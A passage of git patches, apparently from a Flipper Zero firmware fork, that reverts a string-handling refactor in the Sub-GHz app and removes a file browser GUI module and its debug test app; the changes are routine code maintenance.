SceneManagerEventTypeTick) { diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 0fb7b5f53..99c9db452 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -1,7 +1,5 @@ /* Abandon hope, all ye who enter here. */ -#include "m-string.h" -#include "subghz/types.h" #include "subghz_i.h" #include @@ -26,9 +24,6 @@ void subghz_tick_event_callback(void* context) { SubGhz* subghz_alloc() { SubGhz* subghz = malloc(sizeof(SubGhz)); - string_init(subghz->file_path); - string_init(subghz->file_path_tmp); - // GUI subghz->gui = furi_record_open("gui"); @@ -256,9 +251,9 @@ void subghz_free(SubGhz* subghz) { furi_record_close("notification"); subghz->notifications = NULL; - // Path strings - string_clear(subghz->file_path); - string_clear(subghz->file_path_tmp); + // About birds + furi_assert(subghz->file_path[SUBGHZ_MAX_LEN_NAME] == 0); + furi_assert(subghz->file_path_tmp[SUBGHZ_MAX_LEN_NAME] == 0); // The rest free(subghz); @@ -275,7 +270,7 @@ int32_t subghz_app(void* p) { // Check argument and run corresponding scene if(p) { if(subghz_key_load(subghz, p)) { - string_set_str(subghz->file_path, p); + strncpy(subghz->file_path, p, SUBGHZ_MAX_LEN_NAME); if((!strcmp(subghz->txrx->decoder_result->protocol->name, "RAW"))) { //Load Raw TX @@ -291,13 +286,12 @@ int32_t subghz_app(void* p) { view_dispatcher_stop(subghz->view_dispatcher); } } else { - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); if(load_database) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart); } else { scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneShowError, SubGhzCustomEventManagerSet); - string_set_str( + string_set( subghz->error_str, "No SD card or\ndatabase found.\nSome app function\nmay be reduced."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); diff --git a/applications/subghz/subghz_cli.c b/applications/subghz/subghz_cli.c index 6c92a5d6b..f919e1cf2 100644 --- a/applications/subghz/subghz_cli.c +++ b/applications/subghz/subghz_cli.c @@ -303,7 +303,7 @@ void subghz_cli_command_decode_raw(Cli* cli, string_t args, void* context) { UNUSED(context); string_t file_name; string_init(file_name); - string_set_str(file_name, "/any/subghz/test.sub"); + string_set(file_name, "/any/subghz/test.sub"); Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index a8f86eecb..cb30726ba 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -169,14 +169,14 @@ bool subghz_history_add_to_history( break; } if(!strcmp(string_get_cstr(instance->tmp_string), "KeeLoq")) { - string_set_str(instance->tmp_string, "KL "); + string_set(instance->tmp_string, "KL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; } string_cat(instance->tmp_string, text); } else if(!strcmp(string_get_cstr(instance->tmp_string), "Star Line")) { - string_set_str(instance->tmp_string, "SL "); + string_set(instance->tmp_string, "SL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index 5439fd2a9..690e85f74 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -1,8 +1,5 @@ #include "subghz_i.h" -#include "assets_icons.h" -#include "m-string.h" -#include "subghz/types.h" #include #include #include @@ -48,11 +45,11 @@ void subghz_get_frequency_modulation(SubGhz* subghz, string_t frequency, string_ if(modulation != NULL) { if(subghz->txrx->preset == FuriHalSubGhzPresetOok650Async || subghz->txrx->preset == FuriHalSubGhzPresetOok270Async) { - string_set_str(modulation, "AM"); + string_set(modulation, "AM"); } else if( subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev238Async || subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev476Async) { - string_set_str(modulation, "FM"); + string_set(modulation, "FM"); } else { furi_crash("SugGhz: Modulation is incorrect."); } @@ -194,9 +191,8 @@ void subghz_tx_stop(SubGhz* subghz) { //if protocol dynamic then we save the last upload if((subghz->txrx->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) && - (subghz_path_is_file(subghz->file_path))) { - subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); + (strcmp(subghz->file_path, ""))) { + subghz_save_protocol_to_file(subghz, subghz->txrx->fff_data, subghz->file_path); } subghz_idle(subghz); notification_message(subghz->notifications, &sequence_reset_red); @@ -338,10 +334,10 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { bool res = false; - if(subghz_path_is_file(subghz->file_path)) { + if(strcmp(subghz->file_path, "")) { //get the name of the next free file - path_extract_filename(subghz->file_path, file_name, true); - path_extract_dirname(string_get_cstr(subghz->file_path), file_path); + path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_dirname(subghz->file_path, file_path); storage_get_next_filename( storage, @@ -357,7 +353,7 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { string_get_cstr(file_path), string_get_cstr(file_name), SUBGHZ_APP_EXTENSION); - string_set(subghz->file_path, temp_str); + strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); res = true; } @@ -417,17 +413,19 @@ bool subghz_load_protocol_from_file(SubGhz* subghz) { string_init(file_path); // Input events and views are managed by file_select - bool res = dialog_file_browser_show( + bool res = dialog_file_select_show( subghz->dialogs, - subghz->file_path, - subghz->file_path, + SUBGHZ_APP_FOLDER, SUBGHZ_APP_EXTENSION, - true, - &I_sub1_10px, - true); + subghz->file_path, + sizeof(subghz->file_path), + NULL); if(res) { - res = subghz_key_load(subghz, string_get_cstr(subghz->file_path)); + string_printf( + file_path, "%s/%s%s", SUBGHZ_APP_FOLDER, subghz->file_path, SUBGHZ_APP_EXTENSION); + strncpy(subghz->file_path, string_get_cstr(file_path), SUBGHZ_MAX_LEN_NAME); + res = subghz_key_load(subghz, subghz->file_path); } string_clear(file_path); @@ -441,9 +439,9 @@ bool subghz_rename_file(SubGhz* subghz) { Storage* storage = furi_record_open("storage"); - if(string_cmp(subghz->file_path_tmp, subghz->file_path)) { - FS_Error fs_result = storage_common_rename( - storage, string_get_cstr(subghz->file_path_tmp), string_get_cstr(subghz->file_path)); + if(strcmp(subghz->file_path_tmp, subghz->file_path)) { + FS_Error fs_result = + storage_common_rename(storage, subghz->file_path_tmp, subghz->file_path); if(fs_result != FSE_OK) { dialog_message_show_storage_error(subghz->dialogs, "Cannot rename\n file/directory"); @@ -459,7 +457,7 @@ bool subghz_delete_file(SubGhz* subghz) { furi_assert(subghz); Storage* storage = furi_record_open("storage"); - bool result = storage_simply_remove(storage, string_get_cstr(subghz->file_path_tmp)); + bool result = storage_simply_remove(storage, subghz->file_path_tmp); furi_record_close("storage"); subghz_file_name_clear(subghz); @@ -469,12 +467,8 @@ bool subghz_delete_file(SubGhz* subghz) { void subghz_file_name_clear(SubGhz* subghz) { furi_assert(subghz); - string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); - string_reset(subghz->file_path_tmp); -} - -bool subghz_path_is_file(string_t path) { - return string_end_with_str_p(path, SUBGHZ_APP_EXTENSION); + memset(subghz->file_path, 0, sizeof(subghz->file_path)); + memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); } uint32_t subghz_random_serial(void) { diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index accb79c00..b1a932836 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -36,7 +36,7 @@ #include #include -#define SUBGHZ_MAX_LEN_NAME 64 +#define SUBGHZ_MAX_LEN_NAME 250 /** SubGhzNotification state */ typedef enum { @@ -128,9 +128,10 @@ struct SubGhz { ByteInput* byte_input; Widget* widget; DialogsApp* dialogs; - string_t file_path; - string_t file_path_tmp; - char file_name_tmp[SUBGHZ_MAX_LEN_NAME]; + char file_path[SUBGHZ_MAX_LEN_NAME + 1]; + char file_path_tmp[SUBGHZ_MAX_LEN_NAME + 1]; + //ToDo you can get rid of it, you need to refactor text input to return the path to the folder + char file_dir[SUBGHZ_MAX_LEN_NAME + 1]; SubGhzNotificationState state_notifications; SubGhzViewReceiver* subghz_receiver; @@ -182,6 +183,5 @@ bool subghz_load_protocol_from_file(SubGhz* subghz); bool subghz_rename_file(SubGhz* subghz); bool subghz_delete_file(SubGhz* subghz); void subghz_file_name_clear(SubGhz* subghz); -bool subghz_path_is_file(string_t path); uint32_t subghz_random_serial(void); void subghz_hopper_update(SubGhz* subghz); diff --git a/applications/subghz/views/receiver.c b/applications/subghz/views/receiver.c index 866d82726..7b19cbcf2 100644 --- a/applications/subghz/views/receiver.c +++ b/applications/subghz/views/receiver.c @@ -111,9 +111,9 @@ void subghz_view_receiver_add_data_statusbar( furi_assert(subghz_receiver); with_view_model( subghz_receiver->view, (SubGhzViewReceiverModel * model) { - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); - string_set_str(model->history_stat_str, history_stat_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); + string_set(model->history_stat_str, history_stat_str); return true; }); } diff --git a/applications/subghz/views/subghz_read_raw.c b/applications/subghz/views/subghz_read_raw.c index a4807d775..ff3ba45a3 100644 --- a/applications/subghz/views/subghz_read_raw.c +++ b/applications/subghz/views/subghz_read_raw.c @@ -46,8 +46,8 @@ void subghz_read_raw_add_data_statusbar( furi_assert(instance); with_view_model( instance->view, (SubGhzReadRAWModel * model) { - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); return true; }); } @@ -372,7 +372,7 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { model->satus = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; - string_set_str(model->sample_write, "0 spl."); + string_set(model->sample_write, "0 spl."); string_reset(model->file_name); instance->callback(SubGhzCustomEventViewReadRAWErase, instance->context); } @@ -424,7 +424,7 @@ void subghz_read_raw_set_status( model->rssi_history_end = false; model->ind_write = 0; string_reset(model->file_name); - string_set_str(model->sample_write, "0 spl."); + string_set(model->sample_write, "0 spl."); return true; }); break; @@ -441,8 +441,8 @@ void subghz_read_raw_set_status( model->satus = SubGhzReadRAWStatusLoadKeyIDLE; model->rssi_history_end = false; model->ind_write = 0; - string_set_str(model->file_name, file_name); - string_set_str(model->sample_write, "RAW"); + string_set(model->file_name, file_name); + string_set(model->sample_write, "RAW"); return true; }); break; @@ -451,8 +451,8 @@ void subghz_read_raw_set_status( instance->view, (SubGhzReadRAWModel * model) { model->satus = SubGhzReadRAWStatusLoadKeyIDLE; if(!model->ind_write) { - string_set_str(model->file_name, file_name); - string_set_str(model->sample_write, "RAW"); + string_set(model->file_name, file_name); + string_set(model->sample_write, "RAW"); } else { string_reset(model->file_name); } diff --git a/applications/subghz/views/transmitter.c b/applications/subghz/views/transmitter.c index 3cbcf098a..3113e31f6 100644 --- a/applications/subghz/views/transmitter.c +++ b/applications/subghz/views/transmitter.c @@ -36,9 +36,9 @@ void subghz_view_transmitter_add_data_to_show( furi_assert(subghz_transmitter); with_view_model( subghz_transmitter->view, (SubGhzViewTransmitterModel * model) { - string_set_str(model->key_str, key_str); - string_set_str(model->frequency_str, frequency_str); - string_set_str(model->preset_str, preset_str); + string_set(model->key_str, key_str); + string_set(model->frequency_str, frequency_str); + string_set(model->preset_str, preset_str); model->show_button = show_button; return true; }); diff --git a/assets/icons/Archive/music_10px.png b/assets/icons/Archive/music_10px.png deleted file mode 100644 index d41eb0db8c822c60be6c097393b3682680b81a6c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVhivIasA%~WHIdey2}7aaTa() z7Bet#3xhBt!>l_x9Asc&(0a_=e)W&n8K5!-Pgg&ebxsLQ0Ao%f>i_@% diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/one_wire/ibutton/ibutton_key.c index 2c0f7fa26..c6d4466f0 100644 --- a/lib/one_wire/ibutton/ibutton_key.c +++ b/lib/one_wire/ibutton/ibutton_key.c @@ -4,6 +4,7 @@ struct iButtonKey { uint8_t data[IBUTTON_KEY_DATA_SIZE]; + char name[IBUTTON_KEY_NAME_SIZE]; iButtonKeyType type; }; @@ -41,6 +42,14 @@ uint8_t ibutton_key_get_data_size(iButtonKey* key) { return ibutton_key_get_size_by_type(key->type); } +void ibutton_key_set_name(iButtonKey* key, const char* name) { + strlcpy(key->name, name, IBUTTON_KEY_NAME_SIZE); +} + +const char* ibutton_key_get_name_p(iButtonKey* key) { + return key->name; +} + void ibutton_key_set_type(iButtonKey* key, iButtonKeyType key_type) { key->type = key_type; } diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/one_wire/ibutton/ibutton_key.h index f66537d7e..8d6732bcb 100644 --- a/lib/one_wire/ibutton/ibutton_key.h +++ b/lib/one_wire/ibutton/ibutton_key.h @@ -68,6 +68,20 @@ const uint8_t* ibutton_key_get_data_p(iButtonKey* key); */ uint8_t ibutton_key_get_data_size(iButtonKey* key); +/** + * Set key name + * @param key + * @param name + */ +void ibutton_key_set_name(iButtonKey* key, const char* name); + +/** + * Get pointer to key name + * @param key + * @return const char* + */ +const char* ibutton_key_get_name_p(iButtonKey* key); + /** * Set key type * @param key diff --git a/lib/toolbox/path.c b/lib/toolbox/path.c index a99e57d1f..4fd042e41 100644 --- a/lib/toolbox/path.c +++ b/lib/toolbox/path.c @@ -19,20 +19,6 @@ void path_extract_filename_no_ext(const char* path, string_t filename) { string_mid(filename, start_position, end_position - start_position); } -void path_extract_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - static inline void path_cleanup(string_t path) { string_strim(path); while(string_end_with_str_p(path, "/")) { diff --git a/lib/toolbox/path.h b/lib/toolbox/path.h index 76e501cc1..0de63bb2b 100644 --- a/lib/toolbox/path.h +++ b/lib/toolbox/path.h @@ -14,15 +14,6 @@ extern "C" { */ void path_extract_filename_no_ext(const char* path, string_t filename); -/** - * @brief Extract filename string from path. - * - * @param path path string - * @param filename output filename string. Must be initialized before. - * @param trim_ext true - get filename without extension - */ -void path_extract_filename(string_t path, string_t filename, bool trim_ext); - /** * @brief Extract last path component * From 8cc32e28daa0ee6407a08f52ad197b06e5ea5039 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:15:53 +0300 Subject: [PATCH 228/461] Revert "Update subghz_scene_set_type.c" This reverts commit 49635f72959440de7665246d77b97bc2e73a6199. --- applications/subghz/scenes/subghz_scene_set_type.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 25ae1b362..206863f4d 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -49,7 +49,7 @@ bool subghz_scene_set_type_submenu_gen_data_protocol( subghz_receiver_search_decoder_base_by_name(subghz->txrx->receiver, protocol_name); if(subghz->txrx->decoder_result == NULL) { - string_set_str(subghz->error_str, "Protocol not found"); + string_set(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return false; } @@ -340,7 +340,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set_str( + string_set( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -364,7 +364,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set_str( + string_set( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } From 1d84b3713904e01c8ab51ff73b55d5632082d1a8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:18:15 +0300 Subject: [PATCH 229/461] Revert "[FL-2491] File browser GUI module (#1237)" This reverts commit 79920a3522092f0a7ad0bb043ba096119ef8057d. --- applications/applications.c | 9 - applications/applications.mk | 6 - .../file_browser_test/file_browser_app.c | 99 ---- .../file_browser_test/file_browser_app_i.h | 32 -- .../scenes/file_browser_scene.c | 30 - .../scenes/file_browser_scene.h | 29 - .../scenes/file_browser_scene_browser.c | 43 -- .../scenes/file_browser_scene_config.h | 3 - .../scenes/file_browser_scene_result.c | 36 -- .../scenes/file_browser_scene_start.c | 44 -- applications/gui/modules/file_browser.c | 534 ------------------ applications/gui/modules/file_browser.h | 39 -- .../gui/modules/file_browser_worker.c | 408 ------------- .../gui/modules/file_browser_worker.h | 55 -- assets/compiled/assets_icons.c | 12 - assets/compiled/assets_icons.h | 3 - assets/icons/Archive/back_10px.png | Bin 154 -> 0 bytes assets/icons/Archive/loading_10px.png | Bin 173 -> 0 bytes 18 files changed, 1382 deletions(-) delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c delete mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c delete mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c delete mode 100644 applications/gui/modules/file_browser.c delete mode 100644 applications/gui/modules/file_browser.h delete mode 100644 applications/gui/modules/file_browser_worker.c delete mode 100644 applications/gui/modules/file_browser_worker.h delete mode 100644 assets/icons/Archive/back_10px.png delete mode 100644 assets/icons/Archive/loading_10px.png diff --git a/applications/applications.c b/applications/applications.c index c932f86ce..53bbf730e 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -45,7 +45,6 @@ extern int32_t vibro_test_app(void* p); extern int32_t bt_hid_app(void* p); extern int32_t battery_test_app(void* p); extern int32_t text_box_test_app(void* p); -extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); @@ -480,14 +479,6 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_FILE_BROWSER_TEST - {.app = file_browser_app, - .name = "File Browser test", - .stack_size = 2048, - .icon = &A_BadUsb_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_BATTERY_TEST {.app = battery_test_app, .name = "Battery Test", diff --git a/applications/applications.mk b/applications/applications.mk index 30dffbcaf..873cc6077 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -64,7 +64,6 @@ APP_USB_MOUSE = 1 APP_BAD_USB = 1 APP_U2F = 1 APP_UART_ECHO = 1 -APP_FILE_BROWSER_TEST = 1 endif @@ -210,11 +209,6 @@ CFLAGS += -DAPP_KEYPAD_TEST SRV_GUI = 1 endif -APP_FILE_BROWSER_TEST ?= 0 -ifeq ($(APP_FILE_BROWSER_TEST), 1) -CFLAGS += -DAPP_FILE_BROWSER_TEST -SRV_GUI = 1 -endif APP_ACCESSOR ?= 0 ifeq ($(APP_ACCESSOR), 1) diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c deleted file mode 100644 index c9b63ecb0..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ /dev/null @@ -1,99 +0,0 @@ -#include "assets_icons.h" -#include "file_browser_app_i.h" -#include "gui/modules/file_browser.h" -#include "m-string.h" -#include -#include -#include -#include - -static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool file_browser_app_back_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void file_browser_app_tick_event_callback(void* context) { - furi_assert(context); - FileBrowserApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -FileBrowserApp* file_browser_app_alloc(char* arg) { - UNUSED(arg); - FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); - - app->gui = furi_record_open("gui"); - app->dialogs = furi_record_open("dialogs"); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, file_browser_app_tick_event_callback, 500); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, file_browser_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, file_browser_app_back_event_callback); - - app->widget = widget_alloc(); - - string_init(app->file_path); - app->file_browser = file_browser_alloc(app->file_path); - file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); - - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); - view_dispatcher_add_view( - app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); - - return app; -} - -void file_browser_app_free(FileBrowserApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); - view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); - widget_free(app->widget); - file_browser_free(app->file_browser); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close("gui"); - furi_record_close("notification"); - furi_record_close("dialogs"); - - string_clear(app->file_path); - - free(app); -} - -int32_t file_browser_app(void* p) { - FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); - - view_dispatcher_run(file_browser_app->view_dispatcher); - - file_browser_app_free(file_browser_app); - return 0; -} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h deleted file mode 100644 index 6e8412c9b..000000000 --- a/applications/debug_tools/file_browser_test/file_browser_app_i.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include "scenes/file_browser_scene.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct FileBrowserApp FileBrowserApp; - -struct FileBrowserApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - DialogsApp* dialogs; - Widget* widget; - FileBrowser* file_browser; - - string_t file_path; -}; - -typedef enum { - FileBrowserAppViewStart, - FileBrowserAppViewBrowser, - FileBrowserAppViewResult, -} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c deleted file mode 100644 index 72a6e84d7..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "file_browser_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const file_browser_scene_on_enter_handlers[])(void*) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const file_browser_scene_on_exit_handlers[])(void* context) = { -#include "file_browser_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers file_browser_scene_handlers = { - .on_enter_handlers = file_browser_scene_on_enter_handlers, - .on_event_handlers = file_browser_scene_on_event_handlers, - .on_exit_handlers = file_browser_scene_on_exit_handlers, - .scene_num = FileBrowserSceneNum, -}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h deleted file mode 100644 index d690fca9f..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, -typedef enum { -#include "file_browser_scene_config.h" - FileBrowserSceneNum, -} FileBrowserScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers file_browser_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "file_browser_scene_config.h" -#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c deleted file mode 100644 index ca16ad0d1..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi/check.h" -#include "furi/log.h" -#include "furi_hal.h" -#include "m-string.h" - -#define DEFAULT_PATH "/" -#define EXTENSION "*" - -bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -static void file_browser_callback(void* context) { - FileBrowserApp* app = context; - furi_assert(app); - view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); -} - -void file_browser_scene_browser_on_enter(void* context) { - FileBrowserApp* app = context; - - file_browser_set_callback(app->file_browser, file_browser_callback, app); - - file_browser_start(app->file_browser, app->file_path); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); -} - -void file_browser_scene_browser_on_exit(void* context) { - FileBrowserApp* app = context; - - file_browser_stop(app->file_browser); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h deleted file mode 100644 index 6597df3aa..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(file_browser, start, Start) -ADD_SCENE(file_browser, browser, Browser) -ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c deleted file mode 100644 index 53576cef4..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "m-string.h" - -void file_browser_scene_result_ok_callback(InputType type, void* context) { - furi_assert(context); - FileBrowserApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, type); -} - -bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - //FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_result_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); -} - -void file_browser_scene_result_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c deleted file mode 100644 index bb71e83df..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "gui/modules/widget_elements/widget_element_i.h" - -static void - file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { - UNUSED(result); - furi_assert(context); - FileBrowserApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, type); - } -} - -bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - 